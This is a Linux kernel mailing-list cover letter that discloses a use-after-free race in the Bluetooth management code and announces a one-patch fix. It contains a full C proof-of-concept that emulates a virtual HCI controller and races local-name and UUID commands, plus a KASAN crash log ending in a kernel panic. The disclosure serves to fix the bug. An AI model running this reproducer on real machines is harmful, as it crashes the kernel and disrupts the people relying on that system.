From: Ren Wei <enjou1224z@gmail.com>
To: linux-bluetooth@vger.kernel.org
Cc: marcel@holtmann.org, luiz.dentz@gmail.com, dmantipov@yandex.ru,
vega@nebusec.ai, zihanx@nebusec.ai, enjou1224z@gmail.com
Subject: [PATCH 0/1] Bluetooth: fix pending command UAF in EIR updates
Date: Fri, 24 Jul 2026 00:43:45 +0800 [thread overview]
Message-ID: <cover.1784746530.git.zihanx@nebusec.ai> (raw)
From: Zihan Xi <zihanx@nebusec.ai>
Hi Linux kernel maintainers,
We found and validated a bug in net/bluetooth/mgmt.c. The bug is
reachable by a root process via the Bluetooth management control socket
and a virtual HCI controller created through /dev/vhci. We've tested the
fix with the reproducer, and it should not affect other management
commands.
This series contains one patch:
1/1 Bluetooth: mgmt: fix pending command UAF in EIR updates
We provide bug details, reproducer steps, and a crash log below.
---- details below ----
Bug details:
MGMT_OP_SET_LOCAL_NAME is handled asynchronously on powered controllers
and can run set_name_sync(). On a BR/EDR capable controller,
set_name_sync() updates the local name and then calls
hci_update_eir_sync(), which rebuilds EIR data. The EIR generation path
walks hdev->uuids while UUID management commands can add or remove
entries.
The helper pending_eir_or_class() is intended to serialize management
commands that can affect EIR or the class of device. However, it did not
include MGMT_OP_SET_LOCAL_NAME, so a powered local-name update could run
together with ADD_UUID or REMOVE_UUID. In addition,
pending_eir_or_class() walked hdev->mgmt_pending without holding
hdev->mgmt_pending_lock, although pending commands are added and removed
under that mutex. A command completion can therefore remove and free a
pending command while another thread is still inspecting it.
The patch takes hdev->mgmt_pending_lock while scanning hdev->mgmt_pending
and treats MGMT_OP_SET_LOCAL_NAME as an EIR/class-affecting command on
the powered asynchronous path. The busy check is done before copying the
new short name, so a rejected SET_LOCAL_NAME request does not modify
hdev->short_name.
The EIR/local-name serialization gap predates the hci_sync conversion.
For this UAF, the suitable stable/backport anchor is 6fe26f694c82,
which introduced hdev->mgmt_pending_lock and made the pending-command
list locking contract explicit while leaving pending_eir_or_class() as
an unlocked walker of the same list.
Reproducer:
Host:
gcc -O2 -g -Wall -Wextra -pthread -static -Icompat \
-include endian.h -o poc.static poc.c -pthread
make O=/var/cache/linux-patch/fix-bluetooth-eir-uaf-q7c-build \
-j32 bzImage
qemu-start-kernel.sh /var/cache/linux-patch/fix-bluetooth-eir-uaf-q7c \
-r /mnt/d/WSL/ubuntu-home-lenovo/kernel-image
Guest:
cp poc.static /root/poc
cp poc.sh /root/poc.sh
chmod +x /root/poc /root/poc.sh
/root/poc.sh 512 180
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
The stack trace below was decoded from the original QEMU log before
being inserted here.
------BEGIN poc.sh------
#!/bin/sh
set -eu
COUNT="${1:-512}"
DURATION="${2:-180}"
echo 0 > /proc/sys/kernel/panic_on_warn
dmesg -C || true
exec /root/poc "$COUNT" "$DURATION"
------END poc.sh--------
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#define MGMT_OP_SET_POWERED 0x0005
#define MGMT_OP_SET_SSP 0x000b
#define MGMT_OP_SET_LOCAL_NAME 0x000f
#define MGMT_OP_ADD_UUID 0x0010
#define MGMT_OP_REMOVE_UUID 0x0011
#define MGMT_EV_CMD_COMPLETE 0x0001
#define MGMT_EV_CMD_STATUS 0x0002
#define MGMT_EV_INDEX_ADDED 0x0004
#define MGMT_STATUS_SUCCESS 0x00
#define MGMT_STATUS_BUSY 0x0a
#define MGMT_STATUS_INVALID_PARAMS 0x0d
#define MGMT_MAX_NAME_LENGTH 249
#define MGMT_MAX_SHORT_NAME_LENGTH 11
#define HCI_EV_CMD_COMPLETE 0x0e
#define HCI_OP_SET_EVENT_MASK 0x0c01
#define HCI_OP_RESET 0x0c03
#define HCI_OP_SET_EVENT_FLT 0x0c05
#define HCI_OP_WRITE_LOCAL_NAME 0x0c13
#define HCI_OP_READ_LOCAL_NAME 0x0c14
#define HCI_OP_WRITE_CA_TIMEOUT 0x0c16
#define HCI_OP_READ_STORED_LINK_KEY 0x0c0d
#define HCI_OP_WRITE_SCAN_ENABLE 0x0c1a
#define HCI_OP_WRITE_AUTH_ENABLE 0x0c20
#define HCI_OP_READ_CLASS_OF_DEV 0x0c23
#define HCI_OP_WRITE_CLASS_OF_DEV 0x0c24
#define HCI_OP_READ_VOICE_SETTING 0x0c25
#define HCI_OP_READ_NUM_SUPPORTED_IAC 0x0c38
#define HCI_OP_READ_CURRENT_IAC_LAP 0x0c39
#define HCI_OP_WRITE_INQUIRY_MODE 0x0c45
#define HCI_OP_WRITE_EIR 0x0c52
#define HCI_OP_WRITE_SSP_MODE 0x0c56
#define HCI_OP_READ_INQ_RSP_TX_POWER 0x0c58
#define HCI_OP_READ_LOCAL_VERSION 0x1001
#define HCI_OP_READ_LOCAL_COMMANDS 0x1002
#define HCI_OP_READ_LOCAL_FEATURES 0x1003
#define HCI_OP_READ_LOCAL_EXT_FEATURES 0x1004
#define HCI_OP_READ_BUFFER_SIZE 0x1005
#define HCI_OP_READ_BD_ADDR 0x1009
#define DEFAULT_UUID_COUNT 512
#define DEFAULT_DURATION_SEC 60
#define NAME_THREADS 1
#define CTRL_PATH "/dev/vhci"
struct mgmt_hdr {
uint16_t opcode;
uint16_t index;
uint16_t len;
} __attribute__((packed));
struct mgmt_mode {
uint8_t val;
} __attribute__((packed));
struct mgmt_cp_set_local_name {
uint8_t name[MGMT_MAX_NAME_LENGTH];
uint8_t short_name[MGMT_MAX_SHORT_NAME_LENGTH];
} __attribute__((packed));
struct mgmt_cp_add_uuid {
uint8_t uuid[16];
uint8_t svc_hint;
} __attribute__((packed));
struct mgmt_cp_remove_uuid {
uint8_t uuid[16];
} __attribute__((packed));
struct mgmt_ev_cmd_complete {
uint16_t opcode;
uint8_t status;
uint8_t data[];
} __attribute__((packed));
struct mgmt_ev_cmd_status {
uint16_t opcode;
uint8_t status;
} __attribute__((packed));
struct hci_command_hdr_le {
uint16_t opcode;
uint8_t plen;
} __attribute__((packed));
struct hci_rp_read_local_version {
uint8_t status;
uint8_t hci_ver;
uint16_t hci_rev;
uint8_t lmp_ver;
uint16_t manufacturer;
uint16_t lmp_subver;
} __attribute__((packed));
struct hci_rp_read_bd_addr {
uint8_t status;
bdaddr_t bdaddr;
} __attribute__((packed));
struct hci_rp_read_local_features {
uint8_t status;
uint8_t features[8];
} __attribute__((packed));
struct hci_rp_read_local_commands {
uint8_t status;
uint8_t commands[64];
} __attribute__((packed));
struct hci_rp_read_stored_link_key {
uint8_t status;
uint16_t max_keys;
uint16_t num_keys;
} __attribute__((packed));
struct hci_rp_read_buffer_size {
uint8_t status;
uint16_t acl_mtu;
uint8_t sco_mtu;
uint16_t acl_max_pkt;
uint16_t sco_max_pkt;
} __attribute__((packed));
struct hci_rp_read_class_of_dev {
uint8_t status;
uint8_t dev_class[3];
} __attribute__((packed));
struct hci_rp_read_local_name {
uint8_t status;
uint8_t name[248];
} __attribute__((packed));
struct hci_rp_read_voice_setting {
uint8_t status;
uint16_t voice_setting;
} __attribute__((packed));
struct hci_rp_read_num_supported_iac {
uint8_t status;
uint8_t num_iac;
} __attribute__((packed));
struct hci_rp_read_current_iac_lap {
uint8_t status;
uint8_t num_iac;
uint8_t lap[3];
} __attribute__((packed));
struct hci_rp_read_inq_rsp_tx_power {
uint8_t status;
int8_t tx_power;
} __attribute__((packed));
struct hci_rp_read_local_ext_features {
uint8_t status;
uint8_t page;
uint8_t max_page;
uint8_t features[8];
} __attribute__((packed));
static const uint8_t race_uuid[16] = {
0x10, 0x32, 0x54, 0x76, 0x98, 0xba, 0xdc, 0xfe,
0x11, 0x22, 0x33, 0x44, 0xaa, 0xbb, 0xcc, 0xdd,
};
static volatile sig_atomic_t stop_flag;
static int vhci_fd = -1;
static uint16_t hci_index = HCI_DEV_NONE;
static int uuid_count = DEFAULT_UUID_COUNT;
static int duration_sec = DEFAULT_DURATION_SEC;
static unsigned long name_cmd_seq;
static pthread_mutex_t log_lock = PTHREAD_MUTEX_INITIALIZER;
static void die(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fputc('\n', stderr);
exit(EXIT_FAILURE);
}
static void log_msg(const char *fmt, ...)
{
va_list ap;
pthread_mutex_lock(&log_lock);
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fputc('\n', stderr);
pthread_mutex_unlock(&log_lock);
}
static void set_timeouts(int fd)
{
struct timeval tv = {
.tv_sec = 2,
.tv_usec = 0,
};
if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)) < 0)
die("setsockopt(SO_RCVTIMEO): %s", strerror(errno));
}
static int open_mgmt_socket(void)
{
struct sockaddr_hci addr;
int fd;
fd = socket(AF_BLUETOOTH, SOCK_RAW | SOCK_CLOEXEC, BTPROTO_HCI);
if (fd < 0)
die("socket(AF_BLUETOOTH): %s", strerror(errno));
memset(&addr, 0, sizeof(addr));
addr.hci_family = AF_BLUETOOTH;
addr.hci_dev = HCI_DEV_NONE;
addr.hci_channel = HCI_CHANNEL_CONTROL;
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("bind(HCI_CHANNEL_CONTROL): %s", strerror(errno));
set_timeouts(fd);
return fd;
}
static void drain_mgmt_socket(int fd)
{
uint8_t buf[512];
for (;;) {
ssize_t n = read(fd, buf, sizeof(buf));
if (n < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK)
return;
die("read(mgmt): %s", strerror(errno));
}
}
}
static int mgmt_cmd(int fd, uint16_t opcode, uint16_t index,
const void *data, uint16_t len)
{
uint8_t buf[1024];
struct mgmt_hdr *hdr = (struct mgmt_hdr *)buf;
size_t off = 0;
memset(buf, 0, sizeof(buf));
hdr->opcode = htole16(opcode);
hdr->index = htole16(index);
hdr->len = htole16(len);
off += sizeof(*hdr);
if (len > 0) {
memcpy(buf + off, data, len);
off += len;
}
if (write(fd, buf, off) != (ssize_t)off)
die("write(mgmt 0x%04x): %s", opcode, strerror(errno));
for (;;) {
ssize_t n = read(fd, buf, sizeof(buf));
struct mgmt_hdr *ev_hdr;
if (n < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK)
return -ETIMEDOUT;
die("read(mgmt response): %s", strerror(errno));
}
if ((size_t)n < sizeof(*ev_hdr))
continue;
ev_hdr = (struct mgmt_hdr *)buf;
switch (le16toh(ev_hdr->opcode)) {
case MGMT_EV_CMD_COMPLETE: {
struct mgmt_ev_cmd_complete *cc;
if (le16toh(ev_hdr->len) < sizeof(*cc))
continue;
cc = (struct mgmt_ev_cmd_complete *)(buf + sizeof(*ev_hdr));
if (le16toh(cc->opcode) != opcode)
continue;
return cc->status ? -cc->status : 0;
}
case MGMT_EV_CMD_STATUS: {
struct mgmt_ev_cmd_status *st;
if (le16toh(ev_hdr->len) < sizeof(*st))
continue;
st = (struct mgmt_ev_cmd_status *)(buf + sizeof(*ev_hdr));
if (le16toh(st->opcode) != opcode)
continue;
return st->status ? -st->status : 0;
}
default:
break;
}
}
}
static void send_cc(int fd, uint16_t opcode, const void *rp, size_t rp_len)
{
uint8_t buf[512];
size_t len = 0;
size_t off = 0;
buf[len++] = HCI_EVENT_PKT;
buf[len++] = HCI_EV_CMD_COMPLETE;
buf[len++] = (uint8_t)(3 + rp_len);
buf[len++] = 0x01;
buf[len++] = opcode & 0xff;
buf[len++] = opcode >> 8;
if (rp_len > 0) {
memcpy(buf + len, rp, rp_len);
len += rp_len;
}
while (off < len) {
ssize_t n = write(fd, buf + off, len - off);
if (n > 0) {
off += n;
continue;
}
if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
struct pollfd pfd = {
.fd = fd,
.events = POLLOUT,
};
int ret = poll(&pfd, 1, 1000);
if (ret == 0)
die("poll(POLLOUT /dev/vhci): timed out");
if (ret < 0 && errno != EINTR)
die("poll(POLLOUT /dev/vhci): %s", strerror(errno));
continue;
}
if (n < 0 && errno == EINTR)
continue;
die("write(vhci cmd complete): %s", strerror(errno));
}
}
static void send_status_only(int fd, uint16_t opcode, uint8_t status)
{
send_cc(fd, opcode, &status, sizeof(status));
}
static void handle_command_packet(const uint8_t *buf, size_t len)
{
const struct hci_command_hdr_le *cmd;
uint16_t opcode;
if (len < 1 + sizeof(*cmd))
return;
if (buf[0] != HCI_COMMAND_PKT)
return;
cmd = (const struct hci_command_hdr_le *)(buf + 1);
opcode = le16toh(cmd->opcode);
switch (opcode) {
case HCI_OP_RESET:
case HCI_OP_SET_EVENT_MASK:
case HCI_OP_SET_EVENT_FLT:
case HCI_OP_WRITE_CA_TIMEOUT:
case HCI_OP_WRITE_SSP_MODE:
case HCI_OP_WRITE_AUTH_ENABLE:
case HCI_OP_WRITE_INQUIRY_MODE:
case HCI_OP_WRITE_EIR:
case HCI_OP_WRITE_SCAN_ENABLE:
case HCI_OP_WRITE_CLASS_OF_DEV:
send_status_only(vhci_fd, opcode, 0x00);
break;
case HCI_OP_WRITE_LOCAL_NAME:
__atomic_add_fetch(&name_cmd_seq, 1, __ATOMIC_RELAXED);
usleep(100);
send_status_only(vhci_fd, opcode, 0x00);
break;
case HCI_OP_READ_LOCAL_VERSION: {
struct hci_rp_read_local_version rp = {
.status = 0x00,
.hci_ver = 0x09,
.hci_rev = htole16(0x0001),
.lmp_ver = 0x09,
.manufacturer = htole16(0x000f),
.lmp_subver = htole16(0x0001),
};
send_cc(vhci_fd, opcode, &rp, sizeof(rp));
break;
}
case HCI_OP_READ_BD_ADDR: {
struct hci_rp_read_bd_addr rp;
memset(&rp, 0, sizeof(rp));
rp.status = 0x00;
rp.bdaddr.b[0] = 0xbc;
rp.bdaddr.b[1] = 0x9a;
rp.bdaddr.b[2] = 0x78;
rp.bdaddr.b[3] = 0x56;
rp.bdaddr.b[4] = 0x34;
rp.bdaddr.b[5] = 0x12;
send_cc(vhci_fd, opcode, &rp, sizeof(rp));
break;
}
case HCI_OP_READ_LOCAL_FEATURES: {
struct hci_rp_read_local_features rp;
memset(&rp, 0, sizeof(rp));
rp.status = 0x00;
rp.features[3] = LMP_RSSI_INQ;
rp.features[6] = LMP_EXT_INQ | LMP_SIMPLE_PAIR;
rp.features[7] = LMP_INQ_TX_PWR | LMP_EXT_FEAT;
send_cc(vhci_fd, opcode, &rp, sizeof(rp));
break;
}
case HCI_OP_READ_LOCAL_COMMANDS: {
struct hci_rp_read_local_commands rp;
memset(&rp, 0x00, sizeof(rp));
rp.status = 0x00;
send_cc(vhci_fd, opcode, &rp, sizeof(rp));
break;
}
case HCI_OP_READ_STORED_LINK_KEY: {
struct hci_rp_read_stored_link_key rp = {
.status = 0x00,
.max_keys = htole16(0),
.num_keys = htole16(0),
};
send_cc(vhci_fd, opcode, &rp, sizeof(rp));
break;
}
case HCI_OP_READ_BUFFER_SIZE: {
struct hci_rp_read_buffer_size rp = {
.status = 0x00,
.acl_mtu = htole16(1021),
.sco_mtu = 64,
.acl_max_pkt = htole16(8),
.sco_max_pkt = htole16(8),
};
send_cc(vhci_fd, opcode, &rp, sizeof(rp));
break;
}
case HCI_OP_READ_CLASS_OF_DEV: {
struct hci_rp_read_class_of_dev rp = {
.status = 0x00,
.dev_class = { 0x00, 0x00, 0x00 },
};
send_cc(vhci_fd, opcode, &rp, sizeof(rp));
break;
}
case HCI_OP_READ_LOCAL_NAME: {
struct hci_rp_read_local_name rp;
memset(&rp, 0, sizeof(rp));
rp.status = 0x00;
memcpy(rp.name, "vhci-race", sizeof("vhci-race") - 1);
send_cc(vhci_fd, opcode, &rp, sizeof(rp));
break;
}
case HCI_OP_READ_VOICE_SETTING: {
struct hci_rp_read_voice_setting rp = {
.status = 0x00,
.voice_setting = htole16(0x0060),
};
send_cc(vhci_fd, opcode, &rp, sizeof(rp));
break;
}
case HCI_OP_READ_NUM_SUPPORTED_IAC: {
struct hci_rp_read_num_supported_iac rp = {
.status = 0x00,
.num_iac = 0x01,
};
send_cc(vhci_fd, opcode, &rp, sizeof(rp));
break;
}
case HCI_OP_READ_CURRENT_IAC_LAP: {
struct hci_rp_read_current_iac_lap rp = {
.status = 0x00,
.num_iac = 0x01,
.lap = { 0x33, 0x8b, 0x9e },
};
send_cc(vhci_fd, opcode, &rp, sizeof(rp));
break;
}
case HCI_OP_READ_INQ_RSP_TX_POWER: {
struct hci_rp_read_inq_rsp_tx_power rp = {
.status = 0x00,
.tx_power = 0,
};
send_cc(vhci_fd, opcode, &rp, sizeof(rp));
break;
}
case HCI_OP_READ_LOCAL_EXT_FEATURES: {
struct hci_rp_read_local_ext_features rp;
memset(&rp, 0, sizeof(rp));
rp.status = 0x00;
rp.page = 0x01;
rp.max_page = 0x01;
send_cc(vhci_fd, opcode, &rp, sizeof(rp));
break;
}
default:
send_status_only(vhci_fd, opcode, 0x00);
break;
}
}
static void *controller_thread(void *unused)
{
uint8_t buf[512];
(void)unused;
while (!stop_flag) {
ssize_t n = read(vhci_fd, buf, sizeof(buf));
if (n < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK) {
struct pollfd pfd = {
.fd = vhci_fd,
.events = POLLIN,
};
int ret = poll(&pfd, 1, 1000);
if (ret < 0 && errno != EINTR)
die("poll(POLLIN /dev/vhci): %s", strerror(errno));
continue;
}
if (errno == EINTR)
continue;
die("read(/dev/vhci): %s", strerror(errno));
}
if (n == 0)
continue;
if (buf[0] == HCI_VENDOR_PKT && n >= 4) {
hci_index = buf[2] | (buf[3] << 8);
log_msg("vhci controller index: %u", hci_index);
continue;
}
handle_command_packet(buf, n);
}
return NULL;
}
static void wait_for_hci_index(void)
{
for (int i = 0; i < 100; i++) {
if (hci_index != HCI_DEV_NONE)
return;
usleep(100000);
}
die("timed out waiting for vhci controller creation");
}
static void setup_controller_state(void)
{
struct mgmt_mode on = { .val = 1 };
int fd, err;
fd = open_mgmt_socket();
drain_mgmt_socket(fd);
err = mgmt_cmd(fd, MGMT_OP_SET_SSP, hci_index, &on, sizeof(on));
if (err)
die("MGMT_OP_SET_SSP failed: %d", err);
err = mgmt_cmd(fd, MGMT_OP_SET_POWERED, hci_index, &on, sizeof(on));
if (err)
die("MGMT_OP_SET_POWERED failed: %d", err);
close(fd);
}
static void add_uuid_batch(void)
{
struct mgmt_cp_add_uuid add;
int fd;
memset(&add, 0, sizeof(add));
memcpy(add.uuid, race_uuid, sizeof(add.uuid));
fd = open_mgmt_socket();
drain_mgmt_socket(fd);
for (int i = 0; i < uuid_count && !stop_flag; i++) {
int err = mgmt_cmd(fd, MGMT_OP_ADD_UUID, hci_index,
&add, sizeof(add));
if (err && err != -MGMT_STATUS_BUSY)
die("MGMT_OP_ADD_UUID failed at %d: %d", i, err);
}
close(fd);
}
static void *name_thread(void *unused)
{
struct mgmt_cp_set_local_name req;
int fd, iter = 0;
(void)unused;
fd = open_mgmt_socket();
drain_mgmt_socket(fd);
memset(&req, 0, sizeof(req));
while (!stop_flag) {
int err;
snprintf((char *)req.name, sizeof(req.name), "race-name-%08x", iter++);
snprintf((char *)req.short_name, sizeof(req.short_name), "rn%06x",
iter);
err = mgmt_cmd(fd, MGMT_OP_SET_LOCAL_NAME, hci_index,
&req, sizeof(req));
if (err && err != -MGMT_STATUS_BUSY)
log_msg("set_local_name returned %d", err);
}
close(fd);
return NULL;
}
static void *mutator_thread(void *unused)
{
struct mgmt_cp_add_uuid add;
struct mgmt_cp_remove_uuid del;
int fd;
unsigned long seen;
(void)unused;
memset(&add, 0, sizeof(add));
memset(&del, 0, sizeof(del));
memcpy(add.uuid, race_uuid, sizeof(add.uuid));
memcpy(del.uuid, race_uuid, sizeof(del.uuid));
fd = open_mgmt_socket();
drain_mgmt_socket(fd);
seen = __atomic_load_n(&name_cmd_seq, __ATOMIC_RELAXED);
while (!stop_flag) {
while (!stop_flag) {
unsigned long cur = __atomic_load_n(&name_cmd_seq,
__ATOMIC_RELAXED);
if (cur != seen) {
seen = cur;
break;
}
usleep(50);
}
if (stop_flag)
break;
{
int err = mgmt_cmd(fd, MGMT_OP_REMOVE_UUID, hci_index,
&del, sizeof(del));
if (err && err != -MGMT_STATUS_BUSY &&
err != -MGMT_STATUS_INVALID_PARAMS)
log_msg("remove_uuid returned %d", err);
}
for (int i = 0; i < uuid_count && !stop_flag; i++) {
int err = mgmt_cmd(fd, MGMT_OP_ADD_UUID, hci_index,
&add, sizeof(add));
if (err && err != -MGMT_STATUS_BUSY)
log_msg("add_uuid returned %d at %d", err, i);
}
}
close(fd);
return NULL;
}
static void usage(const char *prog)
{
fprintf(stderr, "Usage: %s [uuid_count] [duration_sec]\n", prog);
exit(EXIT_FAILURE);
}
int main(int argc, char **argv)
{
pthread_t ctrl, namer[NAME_THREADS], mutator;
time_t end_time;
if (argc > 3)
usage(argv[0]);
if (argc >= 2)
uuid_count = atoi(argv[1]);
if (argc == 3)
duration_sec = atoi(argv[2]);
if (uuid_count <= 0 || duration_sec <= 0)
usage(argv[0]);
signal(SIGPIPE, SIG_IGN);
vhci_fd = open(CTRL_PATH, O_RDWR | O_CLOEXEC | O_NONBLOCK);
if (vhci_fd < 0)
die("open(%s): %s", CTRL_PATH, strerror(errno));
if (pthread_create(&ctrl, NULL, controller_thread, NULL) != 0)
die("pthread_create(controller_thread): %s", strerror(errno));
wait_for_hci_index();
setup_controller_state();
log_msg("pre-filling %d UUIDs", uuid_count);
add_uuid_batch();
log_msg("prefill complete");
for (int i = 0; i < NAME_THREADS; i++) {
if (pthread_create(&namer[i], NULL, name_thread, NULL) != 0)
die("pthread_create(name_thread): %s", strerror(errno));
}
if (pthread_create(&mutator, NULL, mutator_thread, NULL) != 0)
die("pthread_create(mutator_thread): %s", strerror(errno));
end_time = time(NULL) + duration_sec;
while (!stop_flag && time(NULL) < end_time)
sleep(1);
stop_flag = 1;
for (int i = 0; i < NAME_THREADS; i++)
pthread_join(namer[i], NULL);
pthread_join(mutator, NULL);
pthread_cancel(ctrl);
pthread_join(ctrl, NULL);
close(vhci_fd);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 731.804442][T10611] Oops: general protection fault, probably for non-canonical address 0xfbd59c0000000022: 0000 [#1] SMP KASAN NOPTI
[ 731.806236][T10611] KASAN: maybe wild-memory-access in range [0xdead000000000110-0xdead000000000117]
[ 731.807527][T10611] CPU: 2 UID: 0 PID: 10611 Comm: poc Not tainted 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full)
[ 731.808802][T10611] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 731.810176][T10611] RIP: 0010:add_uuid (net/bluetooth/mgmt.c:2704)
[ 731.811002][T10611] Code: fc ff df eb 1a 48 89 d8 48 c1 e8 03 42 80 3c 38 00 0f 85 ba 03 00 00 48 8b 1b 48 39 d3 74 7a 48 8d 7b 10 48 89 f8 48 c1 e8 03 <42> 0f b6 04 38 84 c0 74 08 3c 01 0f 8e 82 03 00 00 0f b7 43 10 66
[ 731.813503][T10611] RSP: 0018:ffa000000a4d7ad8 EFLAGS: 00010216
[ 731.814181][T10611] RAX: 1bd5a00000000022 RBX: dead000000000100 RCX: 0000000000034020
[ 731.815019][T10611] RDX: ff1100010e0dd1e8 RSI: ffffffff8b0e9640 RDI: dead000000000110
[ 731.815863][T10611] RBP: ff1100010be4804e R08: 0000000000000000 R09: fffffbfff21299a2
[ 731.816694][T10611] R10: ffa000000a4d7ad8 R11: 0000000080000000 R12: ff110001103d0800
[ 731.817527][T10611] R13: ff1100010e0dc000 R14: ff1100010e0dc058 R15: dffffc0000000000
[ 731.818348][T10611] FS: 00007f83a86ce6c0(0000) GS:ff11000184b68000(0000) knlGS:0000000000000000
[ 731.819293][T10611] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 731.820006][T10611] CR2: 000055f56324dda4 CR3: 000000010b123000 CR4: 0000000000751ef0
[ 731.820865][T10611] PKRU: 55555554
[ 731.821262][T10611] Call Trace:
[ 731.821627][T10611] <TASK>
[ 731.821946][T10611] ? _raw_read_unlock (arch/x86/include/asm/preempt.h:104)
[ 731.822581][T10611] hci_sock_sendmsg (arch/x86/include/asm/bitops.h:202)
[ 731.823137][T10611] ? __pfx_hci_sock_sendmsg+0x10/0x10
[ 731.823717][T10611] ? __pfx_hci_sock_recvmsg+0x10/0x10
[ 731.824293][T10611] sock_write_iter (net/socket.c:1224)
[ 731.824867][T10611] ? __pfx_sock_write_iter+0x10/0x10
[ 731.825450][T10611] ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:375)
[ 731.826133][T10611] ? security_file_permission (arch/x86/include/asm/jump_label.h:37)
[ 731.826834][T10611] ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:375)
[ 731.827438][T10611] ? rw_verify_area (fs/read_write.c:462)
[ 731.828011][T10611] vfs_write (include/linux/percpu-rwsem.h:65)
[ 731.828472][T10611] ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:375)
[ 731.829074][T10611] ? __pfx_vfs_write+0x10/0x10
[ 731.829623][T10611] ksys_write (fs/read_write.c:741)
[ 731.830093][T10611] ? __pfx_ksys_write+0x10/0x10
[ 731.830623][T10611] ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:375)
[ 731.831213][T10611] ? rcu_is_watching (include/linux/context_tracking.h:128)
[ 731.831841][T10611] do_syscall_64 (include/linux/thread_info.h:142)
[ 731.832372][T10611] ? irqentry_exit (arch/x86/include/asm/processor.h:720)
[ 731.832818][T10611] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:138)
[ 731.833193][T10611] RIP: 0033:0x7f83a976e9ee
[ 731.833503][T10611] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
[ 731.834714][T10611] RSP: 002b:00007f83a86cd988 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
[ 731.835239][T10611] RAX: ffffffffffffffda RBX: 00007f83a86ce6c0 RCX: 00007f83a976e9ee
[ 731.835763][T10611] RDX: 0000000000000017 RSI: 00007f83a86cd9f0 RDI: 0000000000000005
[ 731.836268][T10611] RBP: 00007f83a86cd9f0 R08: 0000000000000000 R09: 0000000000000000
[ 731.836789][T10611] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000010
[ 731.837294][T10611] R13: 0000000000000017 R14: 0000000000000010 R15: 00000000000000b0
[ 731.837858][T10611] </TASK>
[ 731.838058][T10611] Modules linked in:
[ 731.838587][T10611] ---[ end trace 0000000000000000 ]---
[ 731.840804][T10611] RIP: 0010:add_uuid (net/bluetooth/mgmt.c:2704)
[ 731.841164][T10611] Code: fc ff df eb 1a 48 89 d8 48 c1 e8 03 42 80 3c 38 00 0f 85 ba 03 00 00 48 8b 1b 48 39 d3 74 7a 48 8d 7b 10 48 89 f8 48 c1 e8 03 <42> 0f b6 04 38 84 c0 74 08 3c 01 0f 8e 82 03 00 00 0f b7 43 10 66
[ 731.843673][T10611] RSP: 0018:ffa000000a4d7ad8 EFLAGS: 00010216
[ 731.844417][T10611] RAX: 1bd5a00000000022 RBX: dead000000000100 RCX: 0000000000034020
[ 731.845411][T10611] RDX: ff1100010e0dd1e8 RSI: ffffffff8b0e9640 RDI: dead000000000110
[ 731.846480][T10611] RBP: ff1100010be4804e R08: 0000000000000000 R09: fffffbfff21299a2
[ 731.847510][T10611] R10: ffa000000a4d7ad8 R11: 0000000080000000 R12: ff110001103d0800
[ 731.848574][T10611] R13: ff1100010e0dc000 R14: ff1100010e0dc058 R15: dffffc0000000000
[ 731.849732][T10611] FS: 00007f83a86ce6c0(0000) GS:ff11000184b68000(0000) knlGS:0000000000000000
[ 731.850909][T10611] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 731.851823][T10611] CR2: 000055f56324dda4 CR3: 000000010b123000 CR4: 0000000000751ef0
[ 731.852857][T10611] PKRU: 55555554
[ 731.853343][T10611] Kernel panic - not syncing: Fatal exception
[ 731.854585][T10611] Kernel Offset: disabled
[ 731.855196][T10611] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
Bluetooth: mgmt: fix pending command UAF in EIR updates
net/bluetooth/mgmt.c | 20 ++++++++++++++++++--
1 file changed, 18 insertions(+), 2 deletions(-)
--
2.43.0
next reply other threads:[~2026-07-23 16:43 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-07-23 16:43 Ren Wei [this message]
2026-07-23 16:43 ` [PATCH 1/1] Bluetooth: mgmt: fix pending command UAF in EIR updates Ren Wei
2026-07-23 17:15 ` Bluetooth: " bluez.test.bot
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1784746530.git.zihanx@nebusec.ai \
--to=enjou1224z@gmail.com \
--cc=dmantipov@yandex.ru \
